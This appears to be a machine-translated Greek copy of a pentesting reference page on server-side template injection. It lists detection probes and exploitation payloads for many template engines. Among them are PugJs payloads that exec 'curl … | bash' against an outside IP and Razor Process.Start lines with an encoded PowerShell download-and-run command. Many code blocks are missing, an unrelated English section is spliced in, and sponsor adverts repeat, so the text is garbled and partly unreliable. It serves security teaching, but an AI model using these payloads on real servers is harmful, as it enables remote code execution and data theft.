SSTI (Server Side Template Injection)
RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν πυρήνα συνάντησης τεχνολογίας και επαγγελματιών κυβερνοασφάλειας σε κάθε πεδίο.
Τι είναι η SSTI (Server-Side Template Injection)
Η ενσωμάτωση προτύπων στην πλευρά του διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να ενσωματώσει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι ένα δημοφιλές μηχανισμό προτύπων που χρησιμοποιείται σε εφαρμογές ιστού. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα κομμάτι κώδικα ευπάθειας χρησιμοποιώντας το Jinja:
Σε αυτόν τον ευάλωτο κώδικα, το παράμετρο name
από το αίτημα του χρήστη περνιέται απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render
. Αυτό μπορεί θεωρητικά να επιτρέψει σε έναν επιτιθέμενο να ενθάρρυνε κακόβουλο κώδικα στην παράμετρο name
, οδηγώντας σε ενσωμάτωση προτύπου στην πλευρά του διακομιστή.
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα φορτίο όπως αυτό:
Το payload {{κακό-περιεχόμενο-εδώ}}
εισάγεται στην παράμετρο name
. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή προτύπων, αποκτώντας πιθανώς έλεγχο επί του διακομιστή.
Για να αποτρέψουν τις ευπάθειες ενσωμάτωσης προτύπων στην πλευρά του διακομιστή, οι προγραμματιστές πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη αποσκοπεί σωστά και επικυρώνεται πριν ενσωματωθεί στα πρότυπα. Η εφαρμογή ελέγχου εισόδου και η χρήση τεχνικών αποφυγής εξαρτημένων από το περιβάλλον μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
Ανίχνευση
Για την ανίχνευση της Ενσωμάτωσης Προτύπων Στην Πλευρά του Διακομιστή (SSTI), αρχικά, η δοκιμή του προτύπου είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\
) στο πρότυπο και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα έναντι αυτού του ειδικού payload. Οι ενδείξεις ευπαθειών περιλαμβάνουν:
Ρίψη σφαλμάτων, αποκαλύπτοντας την ευπάθεια και πιθανώς τη μηχανή προτύπων.
Απουσία του payload στον αντανακλασμό, ή μέρη του να λείπουν, υπονοώντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
Κείμενο Κειμένου: Διάκριση από XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις προτύπων (π.χ.,
{{7*7}}
,${7*7}
).Πλαίσιο Κώδικα: Επιβεβαίωση της ευπαθείας αλλάζοντας παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το
greeting
στοhttp://vulnerable-website.com/?greeting=data.username
για να δούμε αν η έξοδος του διακομιστή είναι δυναμική ή σταθερή, όπως στοgreeting=data.username}}hello
επιστρέφοντας το όνομα χρήστη.
Φάση Αναγνώρισης
Η αναγνώριση της μηχανής προτύπων περιλαμβάνει την ανάλυση μηνυμάτων σφαλμάτων ή τη δοκιμή χειροκίνητα διαφόρων φορτίων που είναι συγκεκριμένα για τη γλώσσα. Συνήθη φορτία που προκαλούν σφάλματα περιλαμβάνουν ${7/0}
, {{7/0}}
, και <%= 7/0 %>
. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές πράξεις βοηθά στον εντοπισμό της συγκεκριμένης μηχανής προτύπων.
Εργαλεία
ένα αποτελεσματικό σαρώτη SSTI + CSTI που χρησιμοποιεί νέα πολύγλωττα
ένας διαδραστικός πίνακας που περιέχει τους πιο αποδοτικούς πολύγλωττους ενσωματώσεων προτύπου μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών προτύπου.
Εκμεταλλεύσεις
Γενικό
Σε αυτόν τον κατάλογο λέξεων μπορείτε να βρείτε μεταβλητές που έχουν οριστεί στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
Java
Java - Βασική ενσωμάτωση
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
Java - Ανάκτηση /etc/passwd
FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Παράκαμψη αμμόλοφου
⚠️ λειτουργεί μόνο σε εκδόσεις του Freemarker κάτω από 2.3.30
Περισσότερες πληροφορίες
Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Περισσότερες πληροφορίες
Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
Thymeleaf
Στο Thymeleaf, ένα κοινό τεστ για ευπάθειες SSTI είναι η έκφραση ${7*7}
, η οποία ισχύει επίσης για αυτόν τον μηχανισμό προτύπου. Για πιθανή εκτέλεση απομακρυσμένου κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι ακόλουθες:
SpringEL:
OGNL:
Το Thymeleaf απαιτεί αυτές οι εκφράσεις να τοποθετούνται εντός συγκεκριμένων γνωρισμάτων. Ωστόσο, υποστηρίζεται η ενσωμάτωση εκφράσεων για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]]
ή [(...)]
. Έτσι, ένα απλό φορτίο δοκιμής SSTI μπορεί να μοιάζει με [[${7*7}]]
.
Ωστόσο, η πιθανότητα λειτουργίας αυτού του φορτίου είναι γενικά χαμηλή. Η προεπιλεγμένη διαμόρφωση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων. Τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαζόταν να υλοποιήσουν τον δικό τους TemplateResolver
για τη δημιουργία προτύπων από συμβολοσειρές επί τόπου, κάτι που είναι ασυνήθιστο.
Επίσης, το Thymeleaf προσφέρει προεπεξεργασία εκφράσεων, όπου οι εκφράσεις μέσα σε διπλά κάτω παύλες (__...__
) υποβάλλονται σε προεπεξεργασία. Αυτό το χαρακτηριστικό μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως φαίνεται στην τεκμηρίωση του Thymeleaf:
Παράδειγμα ευπάθειας στο Thymeleaf
Λάβετε υπόψη το ακόλουθο απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:
Αυτό υποδηλώνει ότι εάν ο μηχανισμός προτύπου επεξεργάζεται αυτές τις εισόδους εσφαλμένα, μπορεί να οδηγήσει σε εκτέλεση απομακρυσμένου κώδικα με πρόσβαση σε διευθύνσεις URL όπως:
Περισσότερες πληροφορίες
Πλαίσιο Spring (Java)
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές μεταβλητές εκφράσεις, αν το ${...}
δεν λειτουργεί δοκιμάστε το #{...}
, *{...}
, @{...}
ή ~{...}
.
Διαβάστε το
/etc/passwd
Προσαρμοσμένο Σενάριο για τη δημιουργία φορτίου
Περισσότερες Πληροφορίες
Αλλαγή Προβολής Spring (Java)
Pebble (Java)
{{ κάποιαΣυμβολοσειρά.toUPPERCASE() }}
Παλιά έκδοση του Pebble ( < έκδοση 3.0.9):
Νέα έκδοση του Pebble:
Jinjava (Java)
Το Jinjava είναι ένας μηχανισμός αξιολόγησης προτύπων στον οποίο βασίζεται το πλαίσιο Dropwizard. Χρησιμοποιείται για την αξιολόγηση προτύπων στο Dropwizard και μπορεί να χρησιμοποιηθεί για εκτέλεση επιθέσεων SSTI.
Jinjava - Εκτέλεση εντολών
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
Περισσότερες πληροφορίες
Hubspot - HuBL (Java)
{% %}
διαχωριστές δηλώσεων{{ }}
διαχωριστές εκφράσεων{# #}
διαχωριστές σχολίων{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζήτηση για "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακάλυψη του Jinjava project στο Github.
Περισσότερες πληροφορίες
Γλώσσα Έκφρασης - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Η Γλώσσα Έκφρασης (EL) είναι μια βασική λειτουργία που διευκολύνει την αλληλεπίδραση μεταξύ του επιπέδου παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως οι διαχειριζόμενες μονάδες) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για την επιτάχυνση αυτής της επικοινωνίας. Οι κύριες τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
JavaServer Faces (JSF): Χρησιμοποιεί EL για τη σύνδεση στοιχείων σε σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο παρασκήνιο.
JavaServer Pages (JSP): Η EL χρησιμοποιείται στο JSP για την πρόσβαση και την επεξεργασία δεδομένων μέσα στις σελίδες JSP, κάνοντας ευκολότερη τη σύνδεση στοιχείων σελίδας με τα δεδομένα της εφαρμογής.
Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέψει την άψογη αλληλεπίδραση μεταξύ του επιπέδου ιστού και των διαχειριζόμενων μονάδων, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Ελέγξτε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των διερμηνευτών EL:
pageEL - Expression LanguageGroovy (Java)
Οι παρακάτω παράκαμψεις του Υπεύθυνου Ασφαλείας προέρχονται από αυτό το άρθρο.
RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν πυρήνα συνάντησης τεχνολογικών και επαγγελματιών κυβερνοασφάλειας σε κάθε πεδίο.
Smarty (PHP)
Περισσότερες πληροφορίες
Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Μορφή προτύπου
Περισσότερες πληροφορίες
Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Το Plates είναι ένα σύστημα προτύπων που είναι ενσωματωμένο στη γλώσσα PHP, εμπνευσμένο από το Twig. Ωστόσο, αντίθετα με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates χρησιμοποιεί τον φυσικό κώδικα PHP στα πρότυπα, κάνοντάς το ευανάγνωστο για τους προγραμματιστές PHP.
Ελεγκτής:
Πρότυπο σελίδας:
Διάταξη προτύπου:
Περισσότερες πληροφορίες
PHPlib και HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφέρθηκε στο Pear.
authors.tpl
Server-Side Template Injection (SSTI)
Description
In some cases, the application may use server-side templates to render dynamic content. If the application is not properly sanitizing user input in these templates, it could be vulnerable to Server-Side Template Injection (SSTI) attacks. This can allow an attacker to execute arbitrary code on the server.
Exploitation
To exploit SSTI, an attacker can inject template code into user-controllable input fields, such as search bars or form fields. This injected code can then be executed on the server, leading to potential data exfiltration or server compromise.
Mitigation
To prevent SSTI attacks, it is important to properly sanitize and validate all user input before using it in server-side templates. Additionally, consider using a safe templating engine that automatically escapes user input to prevent code execution.
Περισσότερες πληροφορίες
Jade (NodeJS)
Περισσότερες πληροφορίες
Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate μη συντακτικός μηχανισμός προτύπων PHP, που χρησιμοποιεί ετικέτες XML για να διαιρέσει ένα έγγραφο σε διαφορετικά μέρη
Περισσότερες πληροφορίες
Handlebars (NodeJS)
Διαχείριση Διαδρομής (περισσότερες πληροφορίες εδώ).
= Σφάλμα
${7*7} = ${7*7}
Τίποτα
Περισσότερες πληροφορίες
JsRender (NodeJS)
Πρότυπο | Περιγραφή |
Αξιολόγηση και απεικόνιση εξόδου | |
Αξιολόγηση και απεικόνιση κωδικοποιημένης σε HTML εξόδου | |
Σχόλιο | |
και | Επιτρέπει κώδικα (απενεργοποιημένος από προεπιλογή) |
= 49
Πλευρά Πελάτη
Πλευρά Διακομιστή
Περισσότερες πληροφορίες
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα απόδοσης στην πλευρά του διακομιστή
Περισσότερες πληροφορίες
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Χωρίς έξοδο
#{7*7} = #{7*7}
{{console.log(1)}} = Σφάλμα
Περισσότερες πληροφορίες
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Περισσότερες πληροφορίες
Slim (Ruby)
{ 7 * 7 }
Περισσότερες πληροφορίες
Python
Ρίξτε μια ματιά στην παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την αυθαίρετη εκτέλεση εντολών παρακάμπτοντας τις αμμοθυρίδες στην Python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Περισσότερες πληροφορίες
Jinja2 (Python)
Το Jinja2 είναι ένα πλήρως λειτουργικό σύστημα προτύπων για τη γλώσσα προγραμματισμού Python. Διαθέτει πλήρη υποστήριξη Unicode, προαιρετικό ολοκληρωμένο περιβάλλον εκτέλεσης με αμμόχωση, ευρεία χρήση και άδεια BSD.
{{7*7}} = Σφάλμα
${7*7} = ${7*7}
{{foobar}} Τίποτα
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Μορφή προτύπου
RCE δεν εξαρτάται από __builtins__
:
Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:
pageJinja2 SSTIΆλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Περισσότερες πληροφορίες
Razor (.Net)
@(2+2) <= Επιτυχία
@() <= Επιτυχία
@("{{code}}") <= Επιτυχία
@ <= Επιτυχία
@{} <= ΣΦΑΛΜΑ!
@{ <= ΣΦΑΛΜΑ!
@(1+2)
@( //ΚώδικαςC# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET
System.Diagnostics.Process.Start
μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διεργασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευπαθούς webapp στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Τίποτα<%= response.write(date()) %>
= <Date>
Περισσότερες Πληροφορίες
Mojolicious (Perl)
Ακόμα κι αν είναι perl χρησιμοποιεί ετικέτες όπως το ERB στη Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Σφάλμα
SSTI στο GO
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα φορτία:
{{ . }}
: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περάσει ένα αντικείμενο με ένα χαρακτηριστικόPassword
, το{{ .Password }}
θα μπορούσε να το αποκαλύψει.{{printf "%s" "ssti" }}
: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Αυτά τα φορτία θα πρέπει να επιστρέψουν "ssti" χωρίς να προσθέσουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.
Εκμετάλλευση XSS
Με το πακέτο text/template
, το XSS μπορεί να είναι απλό εισάγοντας το φορτίο απευθείας. Αντίθετα, το πακέτο html/template
κωδικοποιεί την απόκριση για να το αποτρέψει αυτό (π.χ., {{"<script>alert(1)</script>"}}
οδηγεί σε <script>alert(1)</script>
). Ωστόσο, ορισμός προτύπου και κλήση στο Go μπορεί να παρακάμψει αυτήν την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Εκμετάλλευση RCE
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template
και text/template
. Το πρόσθετο text/template
επιτρέπει την κλήση οποιασδήποτε δημόσιας συνάρτησης απευθείας (χρησιμοποιώντας την τιμή "call"), που δεν επιτρέπεται στο html/template
. Η τεκμηρίωση για αυτά τα πρόσθετα είναι διαθέσιμη εδώ για το html/template και εδώ για το text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένου. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System
που εκτελεί εντολές, μπορεί να εκμεταλλευτεί ως {{ .System "ls" }}
. Συνήθως είναι απαραίτητη η πρόσβαση στον πηγαίο κώδικα για να εκμεταλλευτεί αυτό, όπως στο δεδομένο παράδειγμα:
Περισσότερες πληροφορίες
Περισσότερες Εκμεταλλεύσεις
Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες ετικετών στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Σχετική Βοήθεια
Αν πιστεύετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
Εργαλεία
Λίστα Ανίχνευσης Βίας
Πρακτική & Αναφορές
RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν ζωντανό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
Last updated